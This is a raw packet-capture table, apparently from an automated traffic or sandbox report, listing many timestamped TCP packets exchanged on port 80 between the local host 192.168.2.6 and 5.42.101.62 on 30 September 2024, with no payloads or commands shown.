Sep 30, 2024 13:59:28.958507061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958520889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958532095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958543062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958550930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958554029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958569050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958591938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958615065 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958625078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958635092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958643913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958646059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958652973 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958667040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958678961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958688974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958690882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958702087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958709002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958712101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958738089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958762884 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958765030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958775997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958781958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958791971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958802938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958821058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958856106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958884954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958897114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958906889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958913088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958937883 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958971977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958976984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.958986044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.958997011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959007978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959011078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959017992 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959028959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959045887 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959058046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959065914 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959067106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959079027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959091902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959106922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959117889 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959125996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959127903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959140062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959151983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959175110 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959227085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959237099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959247112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959258080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959268093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959276915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959289074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959290028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959300041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959310055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959315062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959319115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959353924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959362984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959376097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959403038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959439039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959466934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959480047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.959507942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.959522963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.960012913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960026026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960036039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960046053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960057020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960064888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.960067034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960078955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960088968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.960098028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960112095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960122108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960133076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960144043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960190058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.960196972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.960213900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960223913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960237980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960247040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960251093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.960257053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960268021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960287094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.960290909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960300922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960305929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.960306883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:28.960339069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.971672058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:28.976556063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.161843061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.161874056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.161885977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.161896944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.161907911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.161920071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.161942005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.161947966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.161963940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.161974907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.161986113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162004948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162013054 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162025928 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162029982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162044048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162055016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162065983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162066936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162087917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162092924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162108898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162108898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162120104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162132025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162158966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162158966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162168980 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162183046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162194014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162204027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162218094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162224054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162235022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162236929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162242889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162245035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162256002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162261963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162292957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162302971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162305117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162314892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162326097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162341118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162365913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162379980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162394047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162403107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162405968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162412882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162414074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162426949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162441969 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162460089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162462950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162472010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162496090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162506104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162514925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162523985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162527084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162537098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162538052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162554026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162579060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162579060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162584066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162595034 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162604094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162619114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162626028 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162640095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162647009 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162650108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162659883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162669897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162673950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162687063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162704945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162848949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162859917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162870884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162882090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162889957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162893057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162904024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162915945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162919998 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162925959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162936926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.162945032 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.162981987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163342953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163355112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163364887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163398027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163424015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163429976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163441896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163451910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163465023 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163495064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163573980 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163584948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163594961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163604975 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163610935 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163616896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163628101 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163654089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163661957 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163669109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163678885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163685083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163714886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163825035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163836956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163856030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163866043 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163873911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163885117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163887978 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163894892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163904905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163914919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163925886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163930893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163930893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163937092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163957119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163958073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163968086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163978100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.163985968 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.163989067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164000988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164002895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164011002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164012909 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164043903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164429903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164443016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164453983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164474964 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164503098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164527893 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164537907 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164549112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164558887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164565086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164592981 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164644003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164654970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164664984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164674997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164688110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164690018 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164697886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164707899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164709091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164751053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164757967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164768934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164778948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164781094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164789915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164798021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164803982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164832115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164869070 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164881945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164891958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164901972 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164906025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164912939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164937019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164937973 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164952993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164962053 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164963961 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.164987087 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.164999008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165009022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165010929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165023088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165060043 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165070057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165093899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165093899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165093899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165117025 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165652037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165695906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165699959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165712118 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165733099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165750027 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165857077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165879011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165891886 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165893078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165911913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165914059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165925026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165926933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.165930033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165935040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165940046 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165944099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165950060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165955067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165960073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.165971041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.166017056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253061056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253087044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253098965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253108978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253120899 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253122091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253133059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253142118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253144026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253155947 CEST	80	49721	5.42.101.62	192.168.2.6
